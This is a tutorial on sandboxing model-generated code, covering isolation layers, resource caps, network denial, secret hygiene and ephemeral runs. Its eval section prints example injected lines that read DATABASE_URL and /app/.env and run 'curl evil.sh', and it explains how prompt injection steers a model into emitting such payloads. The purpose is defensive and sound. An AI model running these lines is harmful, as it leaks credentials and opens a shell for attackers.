Sandboxed Code Execution
Ask a model to multiply 48271 * 6933 and it answers in an instant, with total confidence, and it is often wrong. Not by much. Close enough to look right, off by a few hundred thousand. It is not broken. It is predicting the next token of a number, one digit at a time, the way it predicts the next word of a sentence. It never carried the tens. It pattern-matched a plausible-looking answer and moved on.
Now give it a tool that actually runs 48271 * 6933 and you get 334662843, exactly, every time, and you can check the result yourself. That single swap, from “guess the answer in your head” to “write code and run it”, is the biggest reliability upgrade you can hand a model. It does not fumble arithmetic. It can parse a real CSV instead of hallucinating its columns. It can transform a file deterministically and show its work.
And it is the most dangerous tool in the box, because that same runtime executes whatever code the model writes, and the model writes whatever its context talked it into. You are now running untrusted, machine-generated code on your infrastructure. This article is about doing that without handing an attacker your servers.
Why let a model run code at all
Everything you learned in tool calling applies here without a single change. “Run this code” is just one more tool. The model emits a request (“execute this snippet”), your code runs it, and you feed the output back as the tool result. What is different is the tool’s power. A getWeather tool does one narrow thing. A runPython tool does anything the language can express, which is the whole point and the whole problem.
The reason to reach for it is that some work is genuinely code-shaped and the model is bad at faking it:
- Exact computation. Arithmetic, dates, statistics, unit conversions. A model approximates; code computes. Ask for the standard deviation of 400 numbers and you want
numpy, not vibes. - Data wrangling. Parse this JSON, pivot this table, join these two files, extract every email from this log. Deterministic transforms where a hallucinated row is a bug, not a rounding error.
- Real results you can verify. Code produces an artifact: a number, a file, a chart, an exit code. You can re-run it and get the same thing. You cannot re-run a guess.
The catch is the shape of what you just built.
The box you just built
Strip away the framing and here is the literal system: a service that accepts a string of code from an untrusted source and executes it. The source is a language model, and its output is steered by everything in its context, including text you did not write. A user message. A document you pasted in. A web page another tool fetched. Any of those can carry instructions, and prompt injection means the model can be talked into emitting code you never intended.
So the code arrives with two ways to hurt you, and you have to defend against both:
- It is wrong. An honest bug. An infinite loop, a
fork()that never stops, a script that allocates until the machine swaps to death. No malice, just a model that wrote broken code. This will happen constantly. - It is hostile. The prompt was poisoned, and the “code” is a payload: read
process.env, POST your secrets to an attacker, scan your internal network, mine a little crypto on your dime. The model is the delivery mechanism; the attacker is whoever seeded the context.
The generated code is untrusted input, exactly like a request body off the open internet, and it gets the same suspicion. The difference is that a request body is inert data you parse. This is code you run. That raises the stakes enormously, and it means the only safe place for it to run is somewhere it can do no harm.
The rest of this article is the four walls of that box: never run it in your own process, cap what it can spend, deny it the network, and give it nothing worth stealing. Then throw the box away.
Never run it in your own process
Start with the mistake that ends companies. It is so easy that people reach for it in the first hour and never revisit it.
// NEVER. eval runs model-written text with your process's full authority.
const { code } = toolCall.arguments; // untrusted: shaped by the prompt
eval(code); // now "code" IS your server
eval and its cousins (new Function, a bare require of a generated file) run the string inside your process, with your permissions, your environment, and your open connections. There is no boundary. Whatever your Node process can do, that snippet can do. And a poisoned prompt knows exactly what to ask for:
// what an injected prompt can make the model emit:
process.env.DATABASE_URL; // your live credentials
require("child_process").execSync("curl evil.sh"); // a shell, plus the network
require("fs").readFileSync("/app/.env", "utf8"); // your entire config
The rule is blunt. Model-generated code never runs in a process you care about. It runs somewhere you are willing to set on fire.
The isolation ladder
“Somewhere else” is a spectrum, not a single thing. Each rung below is a real boundary the rung beneath it does not have, and each costs more to run. Pick the highest one your budget and latency allow for the risk you are actually carrying.
Reading the rungs:
- Same-process
eval. Not on the ladder, really. It is the ground you fall through. Covered above; never. - Browser iframe or worker. A sandboxed
<iframe>gives you a genuine boundary in the browser: a unique origin, no access to the host page’s DOM or cookies, no network if you withhold it. Good enough for running a trivial snippet a user typed into a client-side playground. Useless for server-side work, and it gives you no protection against an infinite loop, which will freeze the tab. - Container. A Linux container (namespaces to isolate the process tree and filesystem view, cgroups to cap resources, seccomp to filter syscalls) is the workhorse for real code execution. Strong, cheap, fast to start. Its one weakness: every container shares the host kernel, so a kernel exploit is a full escape.
- microVM or user-space kernel. A Firecracker-style microVM boots a real, tiny guest kernel per sandbox, so a guest compromise does not reach the host kernel. A user-space kernel like gVisor sits in between, intercepting every syscall in a reimplemented kernel written in a memory-safe language. This is where you run code you truly do not trust. It costs more per run and starts in tens to low-hundreds of milliseconds as of 2026, which is why the managed platforms lean hard on snapshot-and-restore to hide the cold start.
For AI-generated code from arbitrary users, the industry has largely settled on the top two rungs: a hardened container at minimum, a microVM or gVisor when the blast radius matters. The exact tech shifts every few months. The ladder does not.
Cap what it can spend
Isolation stops the code from touching things it should not. It does nothing about a program that simply runs forever or eats every byte of RAM. That is a separate wall, built from hard resource limits, and you need all of them because an attacker (or a bad model) will find whichever one you left off.
Concretely, every sandbox you spin up carries a full set of ceilings. The names differ by platform; the intent does not:
const LIMITS = {
timeoutMs: 5_000, // wall-clock: kill runaway or infinite loops
memoryMb: 256, // hard memory ceiling, OOM-kill past it
maxProcesses: 32, // PID cap, so fork() cannot bomb the host
cpus: 1, // throttled share, mining cannot starve neighbours
diskMb: 512, // scratch space only, capped
network: "deny", // no egress by default (next section)
};
Two of these are load-bearing in ways beginners miss. The wall-clock timeout is your only defence against an infinite loop, and it has to be enforced from outside the sandbox, because code that is busy-looping will never run your in-process timer. Kill the whole box on a deadline. The PID cap is what stops a fork bomb, a three-character shell snippet that spawns processes until the host falls over; a memory limit alone does not catch it, because each child is cheap. If you build the cage yourself, test it by trying to break it: throw a while(true), a runaway allocation, and a fork bomb at it, and confirm each one dies quietly.
Deny the network by default
This is the wall that keeps a mistake from becoming a breach. Isolation and resource caps limit what the code can do to your machine. The network is how data leaves. An exfiltration attack does not need to escape the sandbox at all. It just needs the sandbox to be able to make one outbound request.
So the default is deny. Nothing leaves the box unless you have a specific reason, and even then you open the exact hosts, not the whole internet.
network: {
mode: "deny", // default: nothing gets out
allow: ["files.internal:443"], // open only the exact hosts a run needs
blockLinkLocal: true, // no 169.254.169.254 cloud-metadata endpoint
blockPrivateRanges: true, // no 10/8, 172.16/12, 192.168/16
};
The two block flags are not optional decoration. The link-local metadata address (169.254.169.254 on most clouds) hands out temporary credentials for the machine’s own cloud role to anything that can reach it; a sandbox that can hit it can often mint keys to your account. And the private ranges are your internal network, where your databases and admin panels live, none of which should ever be a hop away from attacker-influenced code. Block both, always, even when you allowlist something.
When a run legitimately needs data from the outside, the clean pattern is an egress proxy: the sandbox has no direct network, it talks only to a proxy you control, and the proxy enforces the allowlist, injects any credentials for the approved host, and meters the traffic. The code never sees the credential and never chooses the destination. If you want per-run byte caps and request limits on that proxy, that is ordinary rate limiting pointed at the one component that talks to the world.
Give it no keys to your kingdom
Even a perfectly caged, network-denied sandbox is dangerous if you fill it with things worth stealing. The last wall is about ambient authority: the permissions and secrets that are just lying around in the environment for any code to pick up.
The failures here are depressingly common:
- Database credentials in the environment. The code reads
process.env.DATABASE_URL, connects, and now the model’s script has your whole database. Never inject a live connection string into a sandbox. If a run needs data, hand it a scoped, read-only copy of exactly the rows it needs, as a file or a variable, not a credential. - Your source code mounted in. Do not bind-mount your repo or your app directory into the box “for convenience”. The model does not need your source to sum a column, and mounted source is both a secret to steal and a foothold to abuse.
- The machine’s cloud role. If the sandbox runs on an instance with an IAM role, and it can reach the metadata endpoint (see the last section), it inherits that role. Run sandboxes on infrastructure with no ambient cloud identity, or none you would mind losing.
The principle is the same one from tool calling: the sandbox gets the least authority that lets the task succeed, and secrets are handed in narrowly, through a proxy or a scoped grant, never left in the environment for the code to read. A sandbox with nothing valuable inside it is a boring target.
Throw the box away after every run
Sandboxes must be ephemeral. Create one for a run, tear it down when the run ends, and start the next run from a clean image. The reason is short and it is a real breach, not a theoretical one: state that survives between runs is state that crosses between users.
Picture two runs sharing one long-lived sandbox. User A’s code writes a file to /tmp, or leaves an API token in memory, or drops a ~/.cache entry. User B’s run, minutes later, reads it. That is a cross-tenant leak with none of the multi-tenancy boundaries you carefully built everywhere else, punched straight through the middle of your product. The fix is to never share. Every run is a fresh, sealed environment with no memory of the last one.
Ephemeral does not have to mean slow. This is exactly why the managed platforms invest so heavily in snapshotting: they boot a microVM to a ready state once, snapshot it, and restore a fresh copy per run in tens of milliseconds. You get a clean environment every time without paying a full cold boot. If a single logical task needs several steps, keep one sandbox alive for the length of that task and that user, then destroy it. The boundary is the user’s session, never the whole service.
Feed stdout, results, and errors back
Now close the loop. Whatever the code produced (its standard output, a return value, and crucially its errors) goes back to the model as the tool result, and the model reads it on the next turn. This is the same round trip as any other tool call; the tool just happens to be an interpreter.
async function execute({ code }) {
const box = await Sandbox.create(LIMITS); // fresh, isolated, capped
try {
const { stdout, stderr, exitCode } = await box.run(code);
return {
stdout: clip(stdout, 4_000), // trim: this all re-enters the context window
stderr: clip(stderr, 2_000), // the error is the useful part, keep it
exitCode,
timedOut: box.timedOut ?? false,
};
} finally {
await box.destroy(); // ephemeral: gone the moment this run ends
}
}
The errors are not a failure of the design; they are the point. When the model’s code throws a KeyError or a syntax error, handing that traceback straight back lets the model debug itself: it reads the error, fixes the line, and asks to run again. A model paired with a runtime and its own error output is startlingly good at iterating to a correct script in two or three tries. Swallow the error and you break that loop and get a shrug instead.
Two guardrails carry over from the tool-calling article. Cap the loop, because “write code, run, read error, rewrite” can spin forever on a task the model cannot crack, and every turn is billed. And clip the output, because a script that prints ten thousand rows will blow through the context window and cost you on every subsequent turn. Trim to what the model needs to make its next decision. Log every run (the code, the limits, the exit code, the output) as plain observability, because when a sandbox does something strange the recorded code is the only way to understand it.
You probably shouldn’t build this yourself
Here is the honest recommendation. Building a hardened, snapshot-restoring, egress-proxied microVM sandbox is real infrastructure work, and getting the security details exactly right is the difference between a feature and an incident. Unless sandboxing is your product, use a managed code-execution sandbox and spend your effort on what runs inside it.
As of 2026 there are two shapes of this, and they change constantly, so treat every product name as an example, not a recommendation:
- A provider-native code-execution tool. Several model providers ship a built-in tool where the model writes code, the provider runs it in their sandbox, and you receive the result as part of the response. You wire nothing; you also control nothing about the isolation, so read their model.
- A standalone sandbox platform. A service whose whole job is “give me an isolated environment, run this code, hand me stdout”. You call an SDK, get a sandbox, run code, tear it down. These are the ones built on microVMs and gVisor, and they exist precisely because everyone was reinventing this badly.
Whichever you pick, the checklist for evaluating it is the same set of walls from this article. What is the isolation technology, and does it survive a kernel bug? Is egress denied by default, and can you allowlist? Are the resource caps real and enforced from outside? Are environments ephemeral per run? What ambient credentials, if any, does the sandbox inherit? If a vendor cannot answer those crisply, that is your answer.
See a real sandbox hold the line
The browser ships one of these boundaries for free. A sandboxed <iframe> with a srcdoc and no granted network is a genuine isolation domain: a unique origin, no access to the page that created it, no cookies, no storage of yours. The demo below runs a snippet you pick from a fixed list (never arbitrary code you type, for the exact reasons above) inside one of those iframes, and shows what happens. Two of the snippets are hostile on purpose. Watch the browser refuse them.
Each run gets a brand-new iframe that is destroyed the instant it reports back, which is the ephemeral pattern in miniature. Notice the one thing the browser does not give you, called out under the results: it will happily let a snippet loop forever and freeze, which is precisely why a real server-side sandbox has to add the resource cage on top.
Poke the two red buttons. “Phone home” tries to fetch a URL and the promise rejects because the frame has no network at all; the secret in that query string goes nowhere. “Read the host page” tries to reach window.parent.document and the browser throws a cross-origin error before a single character is read. You did not write those checks. The origin boundary and the withheld network did the work, which is the whole idea of a sandbox: the containment is a property of where the code runs, not a promise you extracted from the code.
Summary
- Letting a model write and run code turns a confident guesser into a tool that computes exact results, wrangles real data, and shows its work. It is the highest-impact tool you can give a model and the most dangerous.
- What you build is a service that executes untrusted, prompt-injectable code. Defend against both a buggy program and a hostile one, because you cannot tell them apart in advance.
- Never
evalmodel-generated code in your own process, and do not mistake Node’svmmodule or a browser worker for a security boundary. They are not. - Climb the isolation ladder as far as your budget allows: same-process (never) to iframe/worker (trivial client snippets) to container to microVM or gVisor for code you truly do not trust.
- Cap everything from outside the box: wall-clock time, memory, CPU, process count, and disk. The timeout stops infinite loops; the PID cap stops fork bombs.
- Deny network egress by default. Block the cloud-metadata endpoint and private ranges even when you allowlist. An egress proxy enforces the allowlist and injects credentials the code never sees.
- Hand the sandbox no ambient authority: no live database credentials, no mounted source, no inherited cloud role. Give it a scoped copy of just the data a run needs.
- Make every run ephemeral. State that survives between runs leaks between users, straight through your multi-tenancy boundaries.
- Return stdout, the result, and especially errors back to the model as the tool result; the error output is how it debugs and retries. Cap the loop and clip the output.
- Unless sandboxing is your product, use a managed code-execution sandbox, and evaluate it against these same walls. Then validate its output instead of trusting it.